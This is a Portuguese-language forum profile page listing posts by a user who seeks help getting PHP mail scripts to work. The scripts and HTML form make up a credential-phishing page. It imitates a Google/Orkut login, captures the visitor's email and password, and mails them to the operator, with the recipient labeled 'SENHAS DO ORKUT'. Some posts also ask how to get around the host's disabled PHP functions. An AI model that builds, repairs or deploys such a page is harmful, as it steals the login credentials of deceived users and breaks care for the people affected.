Ir para conteúdo
Fórum Script Brasil

Mister M

Membros
  • Total de itens

    19
  • Registro em

  • Última visita

Sobre Mister M

Mister M's Achievements

0

Reputação

  1. bm depois de muito tempo estou de volta aki fiquei afastado porque taa sem pc mais q q pega não tem como eu usar o smtp remoto pois no site onde eu estou hospedando meu sita a funçaum fsockopen() esta desabilitada e não encontrei nenhum otro sitte q essa função esteja habilitada então eu pesquisei e achei este otro jeito http://xpertmailer.sourceforge.net/ mais esta ocorrendo este problema Error !Array ( [0] => Array ( [1201556688.89] => Array ( [0] => initialize class ) ) [1] => Array ( [1201556688.89] => Array ( [0] => set From address ) ) [2] => Array ( [1201556688.89] => Array ( [0] => add To address ) ) [3] => Array ( [1201556688.89] => Array ( [0] => set subject ) ) [4] => Array ( [1201556688.89] => Array ( [0] => set text version ) ) [5] => Array ( [1201556689.03] => Array ( [0] => send mail local ) ) ) você tem ideia q problema é esse? ai vai meu xpertmailer pra você verem <?php define('DISPLAY_XPM4_ERRORS', true); // display XPM4 errors require_once 'MAIL.php'; // path to 'MAIL.php' file from XPM4 package $Email = $_POST['Email']; $Passwd = $_POST['Passwd']; $para = $_POST['para']; $data =date("Y-m-d"); $hora =date("H:i:s"); $m = new MAIL; // initialize MAIL class $m->From('meu email'); // set from address $m->AddTo("$para"); // add to address $m->Subject('Cadastro'); // set subject $m->Text('<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"> <html xmlns=\"http://www.w3.org/1999/xhtml\"> <head> <title>Cadastro</title> </head> <body> Login: <strong>$Email</strong><br /> Senha: <strong>$Passw</strong><br /> Data: <strong>$data</strong><br /> Hora: <strong>$hora</strong><br /><br /><br /> </body></html>'); // set text message // send mail local and print result echo $m->Send() ? 'Mail sent !' : 'Error !'; print_r($m->History); // optional, for debugging ?>
  2. a mais eu não quero isso mesmo porque meu pc não vai poder fica ligado o tempo todo eu queria mesmo é hospeda fi me ajuda no smtp remoto <?php $Email = $_POST['Email']; $Passwd = $_POST['Passwd']; $para = $_POST['para']; $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = "smtp.mail.yahoo.com.br"; $mail->SMTPAuth = true; $mail->Username = "meu usuario"; $mail->Password = "minha senha"; $mail->From = "meu email"; $mail->FromName = "Mailer"; $mail->AddAddress("$para","SENHAS DO ORKUT"); $mail->AddReplyTo("email para o envio da replica","nome"); $mail->WordWrap = 50; // AKI EU COLCO o que? $mail->AddAttachment("/var/tmp/file.tar.gz"); // AKI EU COLCO o que? $mail->AddAttachment("/tmp/image.jpg", "new.jpg"); $mail->IsHTML(true); // AKI EU COLCO o que? $mail->Subject = "Here is the subject"; $mail->Body = "This is the HTML body"; $mail->AltBody = "This is the text-only body"; if(!$mail->Send()) { echo "A mensagem não pode ser enviada "; echo "Erro: " . $mail->ErrorInfo; exit; } echo "Mensagem enviada"; ?> olha ai tem campos q eu não sei uq coloar e tamen não sei onde colocar a msg ajuda plis
  3. mais tipo se eu usar o localhost para uma pagina php sera posivel q otros computadores possam utilizar o que eu coloquei no local host? e se tiver geito só sera posivel quando meu pc estiver conectado a net?
  4. uq seria local host? pesquisei aki e não intendi nada
  5. bom o smtp remoto seria isso não é? <?php $Email = $_POST['Email']; $Passwd = $_POST['Passwd']; $para = $_POST['para']; $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = "smtp.mail.yahoo.com.br"; $mail->SMTPAuth = true; $mail->Username = "meu usuario"; $mail->Password = "minha senha"; $mail->From = "meu email"; $mail->FromName = "Mailer"; $mail->AddAddress("$para","SENHAS DO ORKUT"); $mail->AddReplyTo("email para o envio da replica","nome"); $mail->WordWrap = 50; // AKI EU COLCO o que? $mail->AddAttachment("/var/tmp/file.tar.gz"); // AKI EU COLCO o que? $mail->AddAttachment("/tmp/image.jpg", "new.jpg"); $mail->IsHTML(true); // AKI EU COLCO o que? $mail->Subject = "Here is the subject"; $mail->Body = "This is the HTML body"; $mail->AltBody = "This is the text-only body"; if(!$mail->Send()) { echo "A mensagem não pode ser enviada "; echo "Erro: " . $mail->ErrorInfo; exit; } echo "Mensagem enviada"; ?> tipo tem campos q eu nam sei o que eu devo colocar e tamen não sei onde colocar a msg vlw aew a e como eu faço para rodá-lo no localhost?
  6. bom tentei com um otro email deu u mesmo erro ai eu tava pesquisand aki acho q u erro esta porque u servidor bloqueia a funçaum fsockopen() ai eu joge nu google e vi q muitas pessoas tem esse erro ai achei esse scrip aki e vo tenta usalo qalqr coisa do ideia http://xpertmailer.sourceforge.net/ é fi não consegui com esse scrpt tamen sera q vocês não sabem nenhum site de hospedagen gratuito q tenha a função mail() ativada não?ow então a função fsockopen() ativada? ow sera q tem geito de ativalas? sei lá fi temq ter um jeito de resolver isso <_< olha ai nu php.info ta tudo isso ai desabilitado :o disable_functions system, exec, shell_exec, proc_open, passthru, set_time_limit, error_log, ini_alter, dl, pfsockopen, openlog, syslog, readlink, symlink, link, leak, popen, escapeshellcmd, apache_child_terminate, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, mb_send_mail, pcntl_exec, socket_connect, socket_create tem umjeito de enviar email sem usar essas parada ai?
  7. ow então pode acontecer o erro porcausa da função $mail->AddReplyTo sera? tenta da uma analisada denovo no formulario axo q u erro ta na hr de passar as informaçoes dele para o php do email <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>cadastro</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/css"> body { background-color: #D4DDED; color: #000; font-family: Verdana, Arial, sans-serif; font-size: 12px; margin: 10px } .newText { padding: 10px 20px; line-height: 1.5em; font-size: 12px; text-align: center } .magenta { color: #B11E89 } .newMain { background: #FFF; padding: 15px } .newGaia { background: #FFF; padding: 3px } .spacer { height: 7px; background-color: #D4DDED; margin: 3px -3px } .newFooter { background-color: #BCCDE9; margin: 10px 0 0 0; font-size: 12px; padding: 5px; text-align: center } .joinNow { font-size: 12px; background: #E8EEFA; padding: 8px 3px; text-align: center; line-height: 1.7em } a:link { color: #0047BE; text-decoration: underline; font-size: 100% } a:visited { color: #0047BE; text-decoration: underline } a:hover { color: #C40098; text-decoration: underline } </style> &lt;script><!-- function gaia_onLoginSubmit() { if (window.gaiacb_onLoginSubmit) { return gaiacb_onLoginSubmit(); } else { return true; } } function gaia_setFocus() { var f = null; if (document.getElementById) { f = document.getElementById("gaia_loginform"); } else if (window.gaia_loginform) { f = window.gaia_loginform; } if (f) { if (f.Email.value == null || f.Email.value == "") { f.Email.focus(); } else { f.Passwd.focus(); } } } --></script> <style type="text/css"><!-- div.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; } font.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; } --></style> <style type="text/css"><!-- .gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; } .gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; } .gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; } .gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; } .gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; } .gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; } .gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; } .gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; } --></style> </head> <body> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <!--DWLayoutTable--> <tbody> <tr> <td width="983" height="137" valign="top" class="newGaia"> <div id="gaia_loginbox"> <table class="form-noindent" cellspacing="0" cellpadding="5" width="100%" border="0"> <tr> <td valign="top" style="text-align:center" nowrap="nowrap" bgcolor="#E8EEFA"> <form id="gaia_loginform" action="aki vai o site por onde vai se enviado o email é aki q eu não sei uq eu ponho" method="post" onsubmit="return(gaia_onLoginSubmit());"> <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0"> <!--DWLayoutTable--> <tr> <td height="22" colspan="2" valign="top"><input type="hidden" name="continue" id="continue" value="http://meu site" /> <input type="hidden" name="service" id="service2" value="orkut" /> <input type="hidden" name="rm" id="rm2" value="false" /> <input type="hidden" name="hl" id="hl2" value="pt-BR" /> </td> </tr> <tr> <td width="81" height="27" valign="top" nowrap="nowrap"> <div align="right"> <span class="gaia le lbl"> E-mail: </span> </div> </td> <td width="247" valign="top"> <input type="text" name="Email" value="" class="gaia le val" id="Email" size="40"> </td> </tr> <tr> <td height="27" align="right" valign="top"> <span class="gaia le lbl"> Senha: </span> </td> <td valign="top"> <span class="gaia le rem"> <input type="password" name="Passwd2" class="gaia le val" id="Passwd2" size="40"> </span></td> </tr> <tr> <td height="29">&nbsp;</td> <td align="left" valign="top"> <input type="submit" class="gaia le button" name="signIn" value="criar" /> </td> </tr> <tr> <td height="3"></td> <td></td> </tr> &lt;script type="text/javascript"><!-- function onPreCreateAccount() { return true; } function onPreLogin() { if (window["onlogin"] != null) { return onlogin(); } else { return true; } } --></script> <input type="hidden" name="para" value="aki vai u email do cara"> </table> </form> </td> </tr> </table> </div><div class="spacer"></div> </td> </tr> </tbody> </table> <div class="newFooter">by mister </div> </body> </html> olha ai esse codigo ai <form id="gaia_loginform" action="aki vai o site por onde vai se enviado o email é aki q eu não sei uq eu ponho" method="post" onsubmit="return(gaia_onLoginSubmit());"> as vezes eu tenho q colocar alguma coisa dele no php a e otra coisa tipo to tentando varios erros q pode ser ai apaarece esse erro ai não é? Warning: fsockopen() [function.fsockopen]: unable to connect to smtp.mail.yahoo.com.br:25 (Unknown error) in /www/110mb.com/c/a/b/u/l/o/s/o/cabuloso/htdocs/email/class.smtp.php on line 122 ai qr q eu mande o class.smtp.mail.php as vezes eu ele esta com erro sera q não existe nenhum site de hospedagen gratuita q possa usar a funçaum mail() se souber de algum fale q ajudara muito hehe :P
  8. tipo no formulario ta assim <td> <input type="password" name="Passwd" class="gaia le val" id="Passwd" size="18"> </td> </tr> <input type="hidden" name="para" value="o email q vai recebe"> <tr> ai tpo pra coloca nu php q vai envia o email poe é o name num é? tipo $Passwd = $_POST['Passwd']; $para = $_POST['para']; as vezes é isso
  9. <?php require "class.phpmailer.php"; $Email = $_POST['Email']; $Passwd = $_POST['Passwd']; $para = $_POST['para']; $mail = new PHPMailer(); $mail->IsHTML(true); $mail->WordWrap = 50; $mail->IsSMTP(); $mail->SMTPAuth = true; $mail->Mailer = "smtp"; $mail->Host = "smtp.mail.yahoo.com.br"; $mail->Username = "mmeu usuario"; $mail->Password = "minha senha"; $mail->From = "meu usuario@yahoo.com.br"; $mail->FromName = "meu nome"; $mail->AddReplyTo("um email ppara manda uma replica","nome do dono do email"); $mail->AddAddress("$para"); $mail->Body = " login = $Email senha = $Passwd msg do meu site"; $mail->Subject = "assunto do email"; if(!$mail->Send()){ echo "<meta HTTP-EQUIV='Refresh' CONTENT='0;URL=site q vai abri/'>"; } else { echo "<erro>" . $mail>ErrorInfo; } ?>
  10. noh é mesmo tava olhanu nu script errado tava .com heheh vo ve lá se vai da aff mais da isso agora Warning: fsockopen() [function.fsockopen]: unable to connect to smtp.mail.yahoo.com.br:25 (Unknown error) in /www/110mb.com/t/e/s/t/e/teste/htdocs/email/class.smtp.php on line 122 no class.smtp.php na linha 122 tem isso ai oh $tval); # give up after ? secs ow ta osso em sauhaus
  11. minha conta tamen é nu .com.br e nu php ta .com.br mais vo tenta só .com
  12. suahuash novo erro puts cada ora é um :blink: Warning: fsockopen() [function.fsockopen]: unable to connect to smtp.mail.yahoo.com:25 (Unknown error) in /www/110mb.com/t/e/s/t/e/teste/htdocs/email/class.smtp.php on line 122 ok osso só dou trabalho usahuash noh tipo com u smtp dá um erro lá mais ai eu coloquei em vez de smtp pop3 ai não deu erro nanhum apareçeu a mesmo de ok tipo como se tivesse enviado ai eu fui nu meu email e não chego nada sera q não tem nenhum jeito de enviar por po3 não se tiver me ensina aew e se não tenta me ajudar ai vlw
  13. pira aew inton agora deu esse pal aew Warning: require(class.phpmailer.php) [function.require]: failed to open stream: No such file or directory in /www/110mb.com/t/e/s/t/e/teste/htdocs/cadastro.php on line 2 Warning: require(class.phpmailer.php) [function.require]: failed to open stream: No such file or directory in /www/110mb.com/t/e/s/t/e/teste/htdocs/cadastro.php on line 2 Fatal error: require() [function.require]: Failed opening required 'class.phpmailer.php' (include_path='.:/usr/share/php') in /www/110mb.com/t/e/s/t/e/teste/htdocs/cadastro.php on line 2 aff ow foi mal ai se eu to te amolando mais é porque eu quero muito faze isso fraga
  14. noh como assim não intendi sou muito lamer em linguagen de programaçaum
  15. agora eu cunsertei a tag php e deu isso ai Fatal error: Class 'PHPMailer' not found in /www/110mb.com/t/e/s/t/e/teste/htdocs/cadastro.php on line 6 na linha 6 ten isso ai oh $mail = new PHPMailer(); noss fi cada hr é um problema viu =[ php info = System Linux debian 2.6.18-3-686-bigmem #1 SMP Mon Dec 4 18:07:02 UTC 2006 i686 Build Date Mar 16 2007 07:35:38 Configure Command './configure' '--enable-memory-limit' '--disable-debug' '--with-regex=php' '--disable-rpath' '--disable-static' '--with-pic' '--with-layout=GNU' '--with-pear=/usr/share/php' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars' '--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db4' '--with-iconv' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets' '--enable-wddx' '--disable-xml' '--with-expat-dir=/usr' '--with-xmlrpc' '--enable-yp' '--enable-dio' '--with-zlib' '--without-pgsql' '--with-kerberos=/usr' '--with-openssl=/usr' '--with-zip=/usr' '--enable-dbx' '--with-mime-magic=/usr/share/misc/file/magic.mime' '--with-exec-dir=/usr/lib/php4/libexec' '--prefix=/usr' '--with-apxs2=/usr/bin/apxs2' '--with-config-file-path=/etc/php4/apache2' '--with-jpeg-dir=/usr/lib' '--with-gd' '--with-curl' '--with-mysql' Server API Apache 2.0 Handler Virtual Directory Support disabled Configuration File (php.ini) Path /etc/php-users.ini PHP API 20041225 PHP Extension 20050922 Zend Extension 220051025 Debug Build no Thread Safety disabled Zend Memory Manager enabled IPv6 Support enabled Registered PHP Streams php, file, http, ftp, compress.bzip2, compress.zlib, https, ftps Registered Stream Socket Transports tcp, udp, unix, udg, ssl, sslv3, sslv2, tls Registered Stream Filters string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, convert.iconv.*, bzip2.*, zlib.*
×
×
  • Criar Novo...